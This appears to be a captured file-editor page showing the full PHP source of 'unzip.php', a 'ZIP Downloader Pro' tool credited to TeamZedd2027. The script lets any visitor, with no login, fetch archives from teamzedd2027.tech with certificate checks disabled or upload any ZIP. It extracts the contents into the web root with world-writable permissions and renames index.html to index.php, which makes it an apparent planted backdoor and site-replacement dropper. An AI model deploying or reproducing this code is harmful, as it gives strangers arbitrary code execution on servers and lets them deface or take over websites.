관리-도구
편집 파일: unzip.php
<?php ini_set('display_errors', 1); error_reporting(E_ALL); ini_set('upload_max_filesize', '20M'); ini_set('post_max_size', '25M'); ini_set('memory_limit', '128M'); ini_set('max_execution_time', 300); $statusMessage = ''; $fileCount = 0; $downloadMethod = ''; /* =========================== LIST URL ZIP =========================== */ $remoteZipList = [ "acuas-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/acuas-1.0.0.zip", "AI-html-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/AI-html-1.0.0.zip", "BabyCare-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/BabyCare-1.0.0.zip", "Booth-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/Booth-1.0.0.zip", "brainwave-io-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/brainwave-io-1.0.0.zip", "BuilderMax-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/BuilderMax-1.0.0.zip", "CaterServ-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/CaterServ-1.0.0.zip", "Dewi-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/Dewi-1.0.0.zip", "Edukate-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/Edukate-1.0.0.zip", "environs-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/environs-1.0.0.zip", "Fitness-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/Fitness-1.0.0.zip", "flare-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/flare-1.0.0.zip", "furni-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/furni-1.0.0.zip", "gp-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/gp-1.0.0.zip", "hairnic-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/hairnic-1.0.0.zip", "HighTechIT-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/HighTechIT-1.0.0.zip", "hvac-new-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/hvac-new-1.0.0.zip", "Labsky-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/Labsky-1.0.0.zip", "logis-new-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/logis-new-1.0.0.zip", "material-kit-react-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/material-kit-react-1.0.0.zip", "minimal-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/minimal-1.0.0.zip", "nova-new-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/nova-new-1.0.0.zip", "organic-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/organic-1.0.0.zip", "PestKit-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/PestKit-1.0.0.zip", "Presento-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/Presento-1.0.0.zip", "QuickStart-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/QuickStart-1.0.0.zip", "rentiz-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/rentiz-1.0.0.zip", "restoran-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/restoran-1.0.0.zip", "Sailor-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/Sailor-1.0.0.zip", "scholar-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/scholar-1.0.0.zip", "Selecao-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/Selecao-1.0.0.zip", "stocker-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/stocker-1.0.0.zip", "terapia-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/terapia-1.0.0.zip", "TopicListing-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/TopicListing-1.0.0.zip", "travela-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/travela-1.0.0.zip", "Travisa-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/Travisa-1.0.0.zip", "VillaAgency-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/VillaAgency-1.0.0.zip", "yogaClass-1.0.0.zip" => "https://teamzedd2027.tech//tools/zip/yogaClass-1.0.0.zip", ]; /* ========================================================== DETECT DOWNLOAD METHOD (FALLBACK CHAIN) ========================================================== */ function getDownloadMethod() { if (function_exists('curl_init')) return 'curl'; if (ini_get('allow_url_fopen')) return 'fopen'; if (function_exists('fsockopen')) return 'socket'; return 'none'; } /* ========================================================== DOWNLOAD VIA CURL ========================================================== */ function downloadViaCurl($url, $savePath) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => false, CURLOPT_BINARYTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_TIMEOUT => 60, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', ]); $fp = fopen($savePath, 'wb'); curl_setopt($ch, CURLOPT_FILE, $fp); $result = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); fclose($fp); curl_close($ch); return ($httpCode === 200 && $result !== false); } /* ========================================================== DOWNLOAD VIA FOPEN (allow_url_fopen) ========================================================== */ function downloadViaFopen($url, $savePath) { $ctx = stream_context_create([ "http" => [ "method" => "GET", "header" => "User-Agent: Mozilla/5.0\r\nConnection: close\r\n", "timeout" => 60, "follow_location" => 1, "max_redirects" => 5 ], "https" => [ "method" => "GET", "header" => "User-Agent: Mozilla/5.0\r\nConnection: close\r\n", "timeout" => 60, "follow_location" => 1, "max_redirects" => 5, "verify_peer" => false, "verify_peer_name" => false ], "ssl" => [ "verify_peer" => false, "verify_peer_name" => false, "allow_self_signed" => true ] ]); $in = @fopen($url, 'rb', false, $ctx); if (!$in) return false; $out = @fopen($savePath, 'wb'); if (!$out) { fclose($in); return false; } while (!feof($in)) { $chunk = fread($in, 8192); if ($chunk === false) break; fwrite($out, $chunk); } fclose($in); fclose($out); return file_exists($savePath) && filesize($savePath) > 0; } /* ========================================================== DOWNLOAD VIA SOCKET (Low-level fallback) ========================================================== */ function downloadViaSocket($url, $savePath) { $urlParts = parse_url($url); $host = $urlParts['host']; $path = isset($urlParts['path']) ? $urlParts['path'] : '/'; if (isset($urlParts['query'])) $path .= '?' . $urlParts['query']; $port = isset($urlParts['port']) ? $urlParts['port'] : 80; $fp = @fsockopen($host, $port, $errno, $errstr, 10); if (!$fp) return false; $out = @fopen($savePath, 'wb'); if (!$out) { fclose($fp); return false; } $request = "GET $path HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Mozilla/5.0\r\n"; $request .= "Connection: close\r\n\r\n"; fwrite($fp, $request); $headerEnd = false; while (!feof($fp)) { $line = fgets($fp, 4096); if (!$headerEnd) { if (trim($line) === '') { $headerEnd = true; } } else { fwrite($out, $line); } } fclose($fp); fclose($out); return file_exists($savePath) && filesize($savePath) > 0; } /* ========================================================== EXTRACT ZIP + RENAME index.html → index.php ========================================================== */ function extractZipOriginal($zipFile, &$statusMessage, &$fileCount) { if (!file_exists($zipFile)) { $statusMessage = '<div class="alert alert-error">❌ ZIP file tidak ditemukan</div>'; return; } $zip = new ZipArchive; $res = $zip->open($zipFile); if ($res !== TRUE) { $statusMessage = '<div class="alert alert-error">❌ Gagal membuka ZIP (Kode: ' . $res . ')</div>'; @unlink($zipFile); return; } $basePath = __DIR__; $fileCount = 0; $baseFolder = ''; $folders = []; for ($i = 0; $i < $zip->numFiles; $i++) { $entry = $zip->getNameIndex($i); if (substr($entry, -1) === '/') continue; $parts = explode('/', $entry, 2); if (count($parts) > 1) $folders[] = $parts[0]; } if (count($folders)) { $counts = array_count_values($folders); arsort($counts); $baseFolder = key($counts) . '/'; } for ($i = 0; $i < $zip->numFiles; $i++) { $entry = $zip->getNameIndex($i); if (substr($entry, -1) === '/') continue; $relativePath = $entry; if ($baseFolder && strpos($entry, $baseFolder) === 0) { $relativePath = substr($entry, strlen($baseFolder)); } if ($relativePath === '') continue; $relativePath = str_replace(['..\\', '../', '..'], '', $relativePath); $relativePath = ltrim($relativePath, '/\\'); $target = $basePath . '/' . $relativePath; $dir = dirname($target); if (!is_dir($dir)) @mkdir($dir, 0777, true); $stream = $zip->getStream($entry); if ($stream) { @file_put_contents($target, stream_get_contents($stream)); fclose($stream); $fileCount++; } } $zip->close(); // Rename index.html → index.php $indexHtml = $basePath . "/index.html"; $indexPhp = $basePath . "/index.php"; if (file_exists($indexHtml) && !file_exists($indexPhp)) { @rename($indexHtml, $indexPhp); } $statusMessage = '<div class="alert alert-success">✅ ZIP berhasil diekstrak (' . $fileCount . ' file)</div>'; @unlink($zipFile); } /* ========================================================== MAIN DOWNLOAD HANDLER ========================================================== */ if (isset($_POST['remote_zip'])) { $name = $_POST['remote_zip']; if (isset($remoteZipList[$name])) { $url = $remoteZipList[$name]; $save = sys_get_temp_dir() . "/download_" . time() . ".zip"; $method = getDownloadMethod(); $success = false; // Try methods in order if ($method === 'curl' && function_exists('curl_init')) { $success = downloadViaCurl($url, $save); if ($success) $downloadMethod = 'cURL'; } if (!$success && ini_get('allow_url_fopen')) { $success = downloadViaFopen($url, $save); if ($success) $downloadMethod = 'fopen'; } if (!$success && function_exists('fsockopen')) { $success = downloadViaSocket($url, $save); if ($success) $downloadMethod = 'fsockopen'; } if ($success && file_exists($save)) { extractZipOriginal($save, $statusMessage, $fileCount); $statusMessage .= '<div class="alert alert-info">📡 Method: ' . $downloadMethod . '</div>'; } else { $statusMessage = '<div class="alert alert-error">❌ Gagal download dari semua method</div>'; } } } /* ========================================================== UPLOAD MANUAL ========================================================== */ if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['zip_file'])) { if ($_FILES['zip_file']['error'] !== UPLOAD_ERR_OK) { $statusMessage = '<div class="alert alert-error">❌ Upload error: ' . $_FILES['zip_file']['error'] . '</div>'; } else { extractZipOriginal($_FILES['zip_file']['tmp_name'], $statusMessage, $fileCount); } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>ZIP Downloader Pro - Universal Compatible</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; padding: 20px; } .container { max-width: 900px; margin: 0 auto; background: white; border-radius: 20px; box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3); overflow: hidden; } .header { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 30px; text-align: center; } .header h1 { font-size: 2.5em; margin-bottom: 10px; text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.2); } .header p { font-size: 1.1em; opacity: 0.9; } .content { padding: 40px; } .alert { padding: 15px 20px; border-radius: 10px; margin-bottom: 20px; font-weight: 500; animation: slideIn 0.3s ease-out; } @keyframes slideIn { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; transform: translateY(0); } } .alert-success { background: #d4edda; color: #155724; border-left: 4px solid #28a745; } .alert-error { background: #f8d7da; color: #721c24; border-left: 4px solid #dc3545; } .alert-info { background: #d1ecf1; color: #0c5460; border-left: 4px solid #17a2b8; } .card { background: #f8f9fa; border-radius: 15px; padding: 30px; margin-bottom: 30px; box-shadow: 0 5px 15px rgba(0, 0, 0, 0.08); transition: transform 0.3s ease, box-shadow 0.3s ease; } .card:hover { transform: translateY(-5px); box-shadow: 0 10px 25px rgba(0, 0, 0, 0.15); } .card h2 { color: #667eea; margin-bottom: 20px; font-size: 1.8em; display: flex; align-items: center; gap: 10px; } .card h2::before { content: ''; width: 5px; height: 30px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); border-radius: 3px; } select, input[type="file"] { width: 100%; padding: 15px; border: 2px solid #e0e0e0; border-radius: 10px; font-size: 16px; margin-bottom: 15px; transition: all 0.3s ease; background: white; } select:focus, input[type="file"]:focus { outline: none; border-color: #667eea; box-shadow: 0 0 0 3px rgba(102, 126, 234, 0.1); } select { cursor: pointer; appearance: none; background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%23667eea' d='M6 9L1 4h10z'/%3E%3C/svg%3E"); background-repeat: no-repeat; background-position: right 15px center; padding-right: 40px; } button { width: 100%; padding: 15px; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; border: none; border-radius: 10px; font-size: 16px; font-weight: 600; cursor: pointer; transition: all 0.3s ease; text-transform: uppercase; letter-spacing: 1px; } button:hover { transform: translateY(-2px); box-shadow: 0 10px 20px rgba(102, 126, 234, 0.3); } button:active { transform: translateY(0); } .info-box { background: linear-gradient(135deg, #667eea15 0%, #764ba215 100%); border-radius: 15px; padding: 25px; border-left: 4px solid #667eea; } .info-box h3 { color: #667eea; margin-bottom: 15px; font-size: 1.3em; } .info-item { display: flex; align-items: center; gap: 10px; padding: 10px 0; color: #555; font-size: 1.05em; } .info-item::before { content: '✓'; background: #667eea; color: white; width: 24px; height: 24px; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-weight: bold; flex-shrink: 0; } .stats { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 20px; margin-top: 30px; } .stat-card { background: white; padding: 20px; border-radius: 10px; text-align: center; box-shadow: 0 3px 10px rgba(0, 0, 0, 0.1); } .stat-card h4 { color: #999; font-size: 0.9em; margin-bottom: 10px; text-transform: uppercase; letter-spacing: 1px; } .stat-card p { color: #667eea; font-size: 2em; font-weight: bold; } @media (max-width: 768px) { .header h1 { font-size: 1.8em; } .content { padding: 20px; } .card { padding: 20px; } .stats { grid-template-columns: 1fr; } } .footer { background: #2d3748; color: white; text-align: center; padding: 20px; font-size: 0.9em; } .footer a { color: #667eea; text-decoration: none; font-weight: 600; } </style> </head> <body> <div class="container"> <div class="header"> <h1>📂 ZIP Downloader Pro</h1> <p>Universal Compatible - Multi Method Support</p> </div> <div class="content"> <?= $statusMessage ?> <div class="card"> <h2>🌐 Download ZIP dari URL</h2> <form method="POST"> <select name="remote_zip" required> <option value="">-- Pilih Template ZIP --</option> <?php foreach ($remoteZipList as $name => $url): ?> <option value="<?= htmlspecialchars($name) ?>"><?= htmlspecialchars(str_replace('.zip', '', $name)) ?></option> <?php endforeach; ?> </select> <button type="submit">🚀 Download & Extract</button> </form> </div> <div class="card"> <h2>📤 Upload ZIP Manual</h2> <form method="POST" enctype="multipart/form-data"> <input type="file" name="zip_file" accept=".zip" required> <button type="submit">📦 Upload & Extract</button> </form> </div> <div class="info-box"> <h3>ℹ️ Informasi System</h3> <div class="info-item">cURL - Method tercepat dan paling reliable</div> <div class="info-item">fopen - Fallback untuk allow_url_fopen</div> <div class="info-item">fsockopen - Low-level backup method</div> </div> <div class="stats"> <div class="stat-card"> <h4>Total Templates</h4> <p><?= count($remoteZipList) ?></p> </div> <div class="stat-card"> <h4>Max Upload</h4> <p>20 MB</p> </div> <div class="stat-card"> <h4>PHP Memory</h4> <p>128 MB</p> </div> </div> </div> <div class="footer"> <p>Powered by <a href="#">TeamZedd2027</a> | ZIP Downloader Pro v2.0</p> </div> </div> </body> </html>